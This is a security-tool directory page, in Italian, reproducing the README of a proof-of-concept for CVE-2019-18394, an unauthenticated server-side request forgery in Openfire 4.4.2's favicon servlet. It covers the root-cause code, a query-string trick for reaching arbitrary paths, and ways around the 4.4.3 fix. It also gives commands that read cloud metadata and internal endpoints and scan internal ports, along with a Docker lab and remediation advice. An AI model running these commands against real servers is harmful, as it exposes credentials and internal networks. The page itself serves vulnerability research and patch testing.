Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
openfire-ssrf-cve-2019-18394 — PoC per CVE-2019-18394: SSRF con lettura completa non autenticata in Openfire <= 4.4.2 FaviconServlet | Kitploit
Strumenti/GitHubGitHub/l0lsec/openfire-ssrf-cve-2019-18394
RicognizioneScanner di VulnerabilitàAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebSicurezza WebPenetration Testing
GitHubl0lsec/openfire-ssrf-cve-2019-18394

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →

openfire-ssrf-cve-2019-18394

PoC per CVE-2019-18394: SSRF con lettura completa non autenticata in Openfire <= 4.4.2 FaviconServlet

Vedi Repository
1 giorno faNon ancora revisionato
Condividi

CVE-2019-18394: SSRF in Openfire FaviconServlet

Server-Side Request Forgery non autenticato in Ignite Realtime Openfire 4.4.2 e versioni precedenti (console di amministrazione, TCP predefinito 9090/9091). Corretto in 4.4.3 (issue OF-1885).

  • Request forgery: il parametro host viene concatenato in un URL in uscita senza alcuna validazione, quindi il server esegue una HTTP GET scelta dall'attaccante.
  • Response disclosure: su HTTP 200 il corpo grezzo della risposta upstream viene riscritto al chiamante. Si tratta di una SSRF a lettura completa, non cieca.
  • Nessuna autenticazione: /getFavicon non è protetto dall'AuthCheckFilter della console di amministrazione e risponde anche mentre il server è ancora nello stato di setup non configurato.

Solo test autorizzati. Tutto qui è indirizzato a un laboratorio locale che allestisci tu stesso.

Causa principale

org.jivesoftware.util.FaviconServlet (Openfire 4.4.2):

root@kitploit:~
public void doGet(HttpServletRequest request, HttpServletResponse response) {
    String host = request.getParameter("host");                 // attacker-controlled
    host = "gmail.com".equals(host) ? "google.com" : host;
    byte[] bytes = getImage(host, defaultBytes);
    if (bytes != null) { writeBytesToStream(bytes, response); }  // body returned to caller
}

private byte[] getImage(String host, byte[] defaultImage) {
    ...
    byte[] bytes = getImage("http://" + host + "/favicon.ico");  // unvalidated concatenation
    ...
}

private byte[] getImage(String url) {
    ...
    try (CloseableHttpResponse response = client.execute(getRequest)) {
        if (response.getStatusLine().getStatusCode() == HttpStatus.SC_OK) {
            return EntityUtils.toByteArray(response.getEntity());   // full body, not just an image
        }
    } ...
}

Non autenticato. In xmppserver/src/main/webapp/WEB-INF/web.xml il filtro AuthCheck è mappato solo su *.jsp, PluginServlet e dwr-invoker. FaviconServlet è mappato sul percorso semplice /getFavicon, quindi nessun filtro di autenticazione viene eseguito per esso.

Percorso arbitrario, non solo host arbitrario. Il codice codifica rigidamente il suffisso /favicon.ico. Terminando host con una query string si spinge quel suffisso in un valore di parametro:

root@kitploit:~
host = of_internal/secret?x=    produces    http://of_internal/secret?x=/favicon.ico

Lo schema è fisso a http://. I target https:// non sono raggiungibili direttamente, ma il client della servlet usa LaxRedirectStrategy, quindi un endpoint http che reindirizza con 302 in avanti lo è.

La correzione 4.4.3 e i suoi limiti

root@kitploit:~
final byte[] result = EntityUtils.toByteArray(response.getEntity());
if (!GraphicsUtils.isImage(result)) {   // OF-1885
    return null;                        // withhold non-image bodies
}
return result;

GraphicsUtils.isImage() è ImageIO.read(bytes) != null, un controllo sul contenuto, non sulla destinazione. Due cose sopravvivono alla patch:

  • La richiesta in uscita forgiata viene comunque inviata, quindi la SSRF cieca (port scan, interazione con servizi interni, pivot tramite redirect) funziona ancora su 4.4.3.
  • Qualsiasi risposta che venga interpretata come immagine viene comunque restituita integralmente, e byte arbitrari possono seguire i dati dell'immagine, quindi la divulgazione a lettura completa in forma di immagine funziona ancora su 4.4.3.

Detection oracle

  • Ogni esito è HTTP 200, quindi successo e fallimento differiscono solo nel corpo. Lo strumento cattura una firma di fallimento forzando due richieste garantite di mancato riscontro (NXDOMAIN) e confrontandole. Il file su disco /images/server_16x16.gif non viene usato come baseline: un server che non è riuscito a caricarlo all'inizializzazione restituisce invece un corpo di fallimento vuoto, e il disallineamento dei due dà risultati errati.
  • La presenza è confermata strutturalmente: un mancato riscontro risponde 200 mentre un percorso fratello non mappato risponde 404, il che separa una vera mappatura FaviconServlet da un catch-all.
  • FaviconServlet memorizza nella cache hit e miss con chiave sul host grezzo e va in cortocircuito dopo due miss. Lo strumento aggiunge un cb= univoco come cache-buster a ogni probe, così le esecuzioni ripetute non ricevono risultati obsoleti.

Utilizzo

Libreria standard di Python 3, nessuna dipendenza.

root@kitploit:~
check   confirm the bug: unauth endpoint + out-of-band callback + response disclosure
read    fetch an arbitrary http:// URL through the target (full-read SSRF)
scan    probe internal TCP ports from the target's network position
root@kitploit:~
# confirm. --callback-host is the address the TARGET calls back to (IP or FQDN).
python3 cve_2019_18394_poc.py check -t 10.0.0.5:9090 --callback-host 192.168.1.20 --json out.json

# read an internal-only resource the tester cannot reach directly
python3 cve_2019_18394_poc.py read -t 10.0.0.5:9090 -d http://127.0.0.1:8080/actuator/env
python3 cve_2019_18394_poc.py read -t 10.0.0.5:9090 -d http://169.254.169.254/latest/meta-data/

# map internal services
python3 cve_2019_18394_poc.py scan -t 10.0.0.5:9090 --host 127.0.0.1 --ports 80,443,8080-8090

Flag: --callback-host (indirizzo a cui il target richiama), --listen-bind / --listen-port (listener locale), --marker-format gif (restituisce contenuto interpretabile come immagine che supera il gate isImage() di 4.4.3), --proxy, --json.

Codici di uscita: 0 ok, 1 finding, 2 errore o non vulnerabile, 3 inconcludente.

Laboratorio e risultati validati

Setup Docker differenziale: 4.4.2 vulnerabile (console su :9090), 4.4.3 con patch (su :9092), e un servizio solo interno che l'host non può raggiungere direttamente.

root@kitploit:~
docker network create cve18394_internal
printf '%s\n' '<h1>INTERNAL SERVICE</h1>' \
  'SECRET_FLAG=CVE-2019-18394_ssrf_reached_internal_service_ok' > /tmp/internal-index.html

# internal nginx: no host port mapping, so unreachable from the host, reachable from Openfire
docker run -d --name of_internal --network cve18394_internal \
  -v /tmp/internal-index.html:/usr/share/nginx/html/index.html:ro nginx:alpine

docker run -d --name of442 --network cve18394_internal -p 9090:9090 -p 9091:9091 \
  gizmotronic/openfire:4.4.2 && docker network connect bridge of442   # VULNERABLE

docker run -d --name of443 --network cve18394_internal -p 9092:9090 \
  gizmotronic/openfire:4.4.3 && docker network connect bridge of443   # PATCHED

L'nginx interno non ha mappatura di porte sull'host, quindi un fetch diretto dall'host restituisce HTTP 000, ma Openfire può raggiungerlo. Leggere il suo SECRET_FLAG prova che la richiesta ha attraversato il confine di fiducia. Su Docker Desktop il target raggiunge il tuo listener tramite host.docker.internal (passalo a --callback-host). Su Docker Linux nativo, usa l'IP del gateway docker0 oppure ometti --callback-host per l'autorilevamento.

root@kitploit:~
# once both consoles answer on :9090 and :9092
python3 cve_2019_18394_poc.py check -t 127.0.0.1:9090 --callback-host host.docker.internal
python3 cve_2019_18394_poc.py check -t 127.0.0.1:9092 --callback-host host.docker.internal
python3 cve_2019_18394_poc.py read  -t 127.0.0.1:9090 -d http://of_internal/

Ogni callback è arrivata con User-Agent: Apache-HttpClient/... (Java/...), confermando che la richiesta proveniva dal client HTTP di Openfire stesso, non dallo strumento.

Nota: il risultato gif conferma la SSRF a lettura completa ma non distingue 4.4.2 da 4.4.3, poiché la divulgazione in forma di immagine funziona su entrambi. Usa il marker di testo predefinito per distinguere pre-fix da post-fix.

read: 4.4.2 ha divulgato il SECRET_FLAG interno; 4.4.3 ha trattenuto la pagina HTML ma ha comunque restituito un .gif interno recuperato tramite il trucco del percorso.

root@kitploit:~
docker rm -f of442 of443 of_internal && docker network rm cve18394_internal   # tear down

Remediation

Aggiorna a Openfire 4.4.3 o successivo. La correzione isImage() non ferma la richiesta in uscita né la divulgazione in forma di immagine, quindi dove la funzionalità di favicon-proxy non è necessaria, limita anche l'egress dall'host Openfire e colloca la console di amministrazione (9090/9091) dietro controlli di rete.

File

root@kitploit:~
cve_2019_18394_poc.py   the PoC (check / read / scan), Python 3 stdlib, no dependencies
README.md               this document

check scrive un record di evidenza JSON quando viene fornito --json <file>.

Scarica lo strumento
TargetMarkerCallbackBody disclosedVerdictExit
4.4.2 (vuln)textyesyes, verbatimVULNERABLE (unpatched)1
4.4.3 (patched)textyesno, withheld by isImage()PARTIALLY_MITIGATED (blind SSRF)1
4.4.3 (patched)gifyesyes, image + trailing textVULNERABLE full-read (see note)1
non-Openfire (nginx)n/an/an/aendpoint absent2